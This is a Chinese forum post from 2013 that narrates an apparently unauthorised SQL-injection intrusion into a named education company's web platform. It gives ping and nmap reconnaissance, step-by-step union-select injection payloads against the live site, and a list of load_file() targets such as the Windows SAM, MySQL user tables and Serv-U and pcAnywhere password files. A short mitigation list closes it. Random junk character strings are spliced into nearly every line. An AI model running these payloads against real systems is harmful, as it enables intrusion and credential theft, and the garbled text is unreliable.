找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2212|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:: }+ ]' s! e# k' U# ?) p9 z6 d
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
0 B1 J- ~2 I9 H+ S, H$ }8 s+ {第一步:获取需要的信息
% d, b, ?& |: S% i- k- D由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。/ ?" Z: G+ [2 {
注:以下为保护特用XXX代替敏感信息+ a4 M5 y% l( x% J8 G
顺手先PING了一下他们的域名:
; I: {* y! B# D. D# m' Vping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
4 @& [9 I# I" d5 R8 l64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms, ~$ z( L0 |. W7 I
顺便了解一下TTL,学好基础知识才能一路顺风:
" n; ?) r  m( o( w5 CTTL:(Time To Live ) 生存时间
0 y# r6 [: D3 z7 g9 r8 T* h5 n指定数据包被路由器丢弃之前允许通过的网段数量。
/ a% p3 R% `- PTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
' u$ Y6 D6 w$ w3 e6 w( L使用PING时涉及到的 ICMP 报文类型
5 \) |/ e; }# w一个为ICMP请求回显(ICMP Echo Request)
; w: u% C# {- W& S; l& Z一个为ICMP回显应答(ICMP Echo Reply)' _6 M5 T- q  }& u& ?. d& i: e: G9 l
TTL 字段值可以帮助我们识别操作系统类型。
7 _  S1 k) y& b+ xUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255" P: B8 Q( p1 h
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
1 ?) ?* _# ~* X+ f3 z7 M/ V7 P) n1 y微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128) Q, Z- i) R  x8 [2 P
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
8 n; \; ?8 B, u" L5 h. s' F$ i, c当然,返回的TTL值是相同的0 h; P4 E. M7 }5 Z* h
但有些情况下有所特殊
9 G5 |3 q" x9 S' ~& c- NLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64) {& J; b% V5 A
FreeBSD 4.1, 4.0, 3.4;
/ {2 K1 i2 E1 {. b& Q% {8 }' t5 VSun Solaris 2.5.1, 2.6, 2.7, 2.8;
# O3 E0 A4 B0 U$ ^. f; aOpenBSD 2.6, 2.7,
7 j) R+ H2 B% N1 kNetBSD( @4 F* h# C8 Q# x* W! w
HP UX 10.20
  N, `! N+ ~% r5 H" @ICMP 回显应答的 TTL 字段值为 255; j& T9 h: j7 ?2 z; m$ W* H
Windows 95/98/98SE1 N) Y+ [+ _8 n  w9 Z
Windows ME% o4 U& \+ {8 p/ G9 V+ ^  o
ICMP 回显应答的 TTL 字段值为 329 A8 G% v9 a0 |+ t- Y
Windows NT4 WRKS& z+ P3 q1 |& [9 ?
Windows NT4 Server/ Y' @, V* C, x; i% p3 p+ D) ?' y
Windows 2000
' X" B' y& ]: J4 ^Windows XP
: [* N2 |7 R; |2 m# fICMP 回显应答的 TTL 字段值为 128
: f5 Z0 Y' E9 ^/ f6 H这样,我们就可以通过这种方法来辨别操作系统
; }4 ^/ m& |! b# z* C/ MTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2556 ^8 }! B3 P' K6 [
用NMAP扫描一下:% G/ d6 d6 t5 q7 d6 D1 W0 y
nmap -sT -O XXX.XXX.XXX.XXX
3 A  X- W. P& A( U# y如果没有装WinPcap则会弹出提示:' |3 J& H( x; I0 _1 ?& r( z" A: d+ E
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
/ P( G/ e, K, g6 h+ o$ i* }! K1 `ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(5 {# n7 t! Z7 {5 }; c& ~3 W
) mode — Nmap may not function completely: @3 {6 p3 p' j2 ]" H% m
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher3 n* i/ i) Y' @5 y2 U2 [; }/ g
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
6 ^4 j4 h" V; B) Z% f& Dpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an7 }+ P, ]) @" ^- \$ G8 K7 y
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
" j+ B: X5 l3 N% J& r/ Hersions, you may be able to take iphlpapi.dll from another system and place it i
) W' X+ B. U& ?5 \9 g/ ^" h3 w* ]( rn your system32 dir (e.g. c:\windows\system32).
8 N7 o+ C2 u: _; vQUITTING!
5 w9 H0 N; ~' }) D; R到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe( ~0 n. o) n' D$ G
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:3 J5 M6 g) u) _( s( q, r
Interesting ports on XXX.XXX.XXX.XXX:
# ~; i+ G* d; p& H  ^" p: aNot shown: 986 closed ports% O% @$ r5 i& V8 u! c9 z
PORT     STATE    SERVICE9 x4 G, D( o% ]
21/tcp   open     ftp) e  r1 h- C+ S' U& N) w2 @4 {
22/tcp   open     ssh" O, J8 R% o$ B8 |4 W+ Z' n
23/tcp   open     telnet4 g" ~  H7 L2 h* Z
80/tcp   open     http7 t/ e& i* [  w# g/ n* S: l
111/tcp  open     rpcbind8 }' J. k. I6 G& Y7 w, Y
135/tcp  filtered msrpc5 [% n7 U1 u. d0 `
139/tcp  filtered netbios-ssn7 M6 h' k) }4 }5 `/ m7 Y
445/tcp  filtered microsoft-ds0 O# ~+ h1 M, e. Y# M; E
513/tcp  open     login( h; t1 s! n7 u# X- p! O* |
514/tcp  open     shell. t) J9 W9 @. u' K+ m
593/tcp  filtered http-rpc-epmap2 k% v: B9 [6 _1 M9 A
1720/tcp filtered H.323/Q.931  n. f6 y  I! S
3306/tcp open     mysql4 K: o, l* q# ~3 f( d" A
4444/tcp filtered krb524' R9 w# `* |7 u8 Q# [5 a
Device type: WAP
* I+ r/ Z8 y" k( C0 d1 x$ J2 ]; cRunning: Linux 2.4.X
' E4 L* q! F/ _# r; N: y8 bOS details: DD-WRT (Linux 2.4.35s)
) M0 ~' q/ e* p# a' iNetwork Distance: 13 hops( q; |- O+ P; _) d* ~
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:; F" u0 H: |* @  X- n( N0 H
login as:
& R2 B8 h  E* J% o" I# ?$ {Telnet23端口也是开着的,用telnet 命令链接一下:
+ o8 y% Z5 @% t$ d* qtelnet XXX.XXX.XXX.XXX
) V# S  P% i% P5 l提示:
. a3 a# U' ~0 s7 f" I% @! MRed Hat Enterprise Linux Server release 5.2 (Tikanga)
1 g. o" r7 `; o& a4 EKernel 2.6.18-92.el5PAE on an i686/ }( ~9 R! z2 r0 D) M# H! Q
login:3 m3 v0 f( t8 _. w- U
获取HTTP头信息:
* ?! Z* E9 |. |* Z在本地执行如下PHP代码
' N( I2 {! R$ k( }/ g* J<?php, z/ r( C8 b- D3 r- a
$url = ‘XXX.XXX.XXX.XXX’;' }# M$ }3 v! S- x
print_r(get_headers($url));
: m2 ?' N* j9 E+ u, Eprint_r(get_headers($url, 1));
, z# [0 X8 v% j; Q. P, e3 q: M, p?>5 c1 y8 ~5 y. u8 e; N
将以上代码保存为PHP文件,执行:. x0 {& I$ J# \$ {; m8 w: @8 t
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )" g' K) w% I" R$ q+ S" e& x$ y; ]
现在可以得出结论:; w# J, g" X7 M' W+ H& V( Z! V- g
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)  h% K. k& G: `8 a& n; P" q
内核版本:Kernel 2.6.18-92.el5PAE on an i686' i" k1 U' G/ c5 v: S
WEB服务器版本:nginx/0.7.61
1 S! x  N+ x& k7 e第二步,开始测试寻找漏洞2 C9 `: N3 @9 U6 b% o! {1 r
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。, y8 R$ u* c" s9 O. u% n
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的& t4 d" l7 j) y
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
  |- S1 k' U5 lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
8 K1 v- [7 |; l! c' U0 q% W& Ohttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误8 e$ G( ^" P: X8 y4 r' Y
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续* n+ A. |3 v+ N8 T" n  O  M! c
3、手工注入:
% k, ~8 L* k0 X3 L6 d: z2 i注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。) x8 a) d% M7 c3 O
3.1 猜测当前表字段数; z2 u2 w3 N, u
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
& ^5 W# i* N9 L. {6 ]此处猜测有个简单的算法,都是有技巧的吗,呵呵4 `* d1 N+ |% p. F  a! R6 V
算法简单如下:
1 S4 Y$ q) k9 ]; w4 m第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
7 B6 P# |( c: W: y4 M1 f3 V) ]第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
8 Q% m) j) m- r0 `: E需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
) L1 `4 W- M: J. d) t, [6 g以此来判断,是否过界,配合取中算法猜出字段数。) K) Z' v! O( i% e2 p. v% O
举例:
" ^/ N& {  R) i% p0 P7 u( x  [( T* _http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常. m; Z/ I& r: G1 c8 r
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
5 F9 @0 S0 V/ ^& Y- E3 Z3 c此时3则为我们要找的字段数。
: @' T! t, z2 @0 p" X8 l3.2 配合union联合查询字段在页面所位置
3 x! N* t* L4 Z我们已经知道了字段数为3,此时则可以做如下操作:+ B" ^6 O& a' X2 ^" r2 ]2 j3 y
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3/ c8 @5 |3 E" x! b4 O, Q
7 E; n9 X. c8 P0 I- Q
这样就可以测试到哪些字段在页面上有所显示了,如图:2 e9 Z8 |& r' z7 y

7 V- \1 g! b* [' m  C% Q4 }3.3 查敏感信息
8 u6 w. C; P: F7 R* Y  p& d  x' D这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。) [$ v1 r+ @+ h% `0 w: f" G
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
& _3 c  z; R% F8 d& k3.3.1 先查数据库用户、数据库名,以备后用,如图:3 R0 O0 o$ U3 w) f2 _% m
: r$ l/ S! p, |0 @' D
得到数据库用户为root、数据库名为DBxx;
* S' k' U9 T( k5 j3 n+ M  b( }, V' ~3.3.2 查配置文件8 s% C" g+ e1 @* X  t/ d5 i
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
! r3 \" a9 j- z/ u6 y9 H1 d1 O查看文件有一定的条件限制:
. O6 L' L+ i6 z9 _欲读取文件必须在服务器上
2 G7 _: O' G4 j必须指定文件完整的路径
# A* g7 Q/ ]% n+ I( N- w2 P6 M必须有权限读取并且文件必须完全可读
8 J2 D/ ~- X7 P& W欲读取文件必须小于 max_allowed_packet
1 @2 q, t7 X) J! M4 @, Q+ ]: AMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
3 i5 m6 f  A2 G  ?+ i+ P常用的一些:2 B0 S1 b+ b% M  \( B, s
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  T3 W! {8 m. `+ X
/usr/local/apache2/conf/httpd.conf
" Z7 W4 T3 b- v# U/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置) `3 E! W* V. H$ h5 I2 t2 ^
/usr/local/app/php5/lib/php.ini //PHP相关设置. \0 `3 i' u' ]" T
/etc/sysconfig/iptables //从中得到防火墙规则策略
& C$ s; `9 k4 n. x% M2 q4 E/etc/httpd/conf/httpd.conf // apache配置文件
$ w% v7 ?7 o) n1 r7 X- A/etc/rsyncd.conf //同步程序配置文件
* i* n1 [1 F( m+ S! _6 F/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
& E1 x( V3 t: G: R/etc/my.cnf //mysql的配置文件
/ M% U' x" H( E( G/etc/redhat-release //系统版本
, u# _5 r7 t+ X$ g/ z/etc/issue
% W0 H$ j! i) `4 g/etc/issue.net  R. h' B) o/ z3 q& A
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码7 B6 I" A0 E* k8 ~, E% ~
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
8 F% w; d9 h7 z$ s1 R2 zc:\Program Files\Serv-U\ServUDaemon.ini
$ }$ {9 R* |, t* d" u9 o3 Vc:\windows\my.ini //MYSQL配置文件: |; v( k2 c8 g# J0 V, o! d
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
5 X/ M/ w% r  U+ H# R等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,$ b. E  g0 [9 Z3 V/ u. h$ s9 Y
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
8 o3 g8 N* B5 M3 k8 b/ @% j, l* |c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
, u; X# k0 R6 e) }$ |/ ~: d- vc:\Program Files\RhinoSoft.com\ServUDaemon.exe% q9 A# e/ F  h! ^
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件5 y3 f9 {/ X, T# Z
//存储了pcAnywhere的登陆密码) K+ c9 o" q2 j, J
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
8 a% q7 Q. ^7 J% f+ Y) o' D+ p7 [这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
, ]6 W! k' d1 ~最后:防范措施  E( \# H* i/ U: `% ~& b% e2 g
1、修复PHP注入漏洞;* O6 [& J- n- O. r- d
2、Mysql使用普通权限的用户;
+ E+ X: C2 u# r4 l' Z" M  r8 O3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表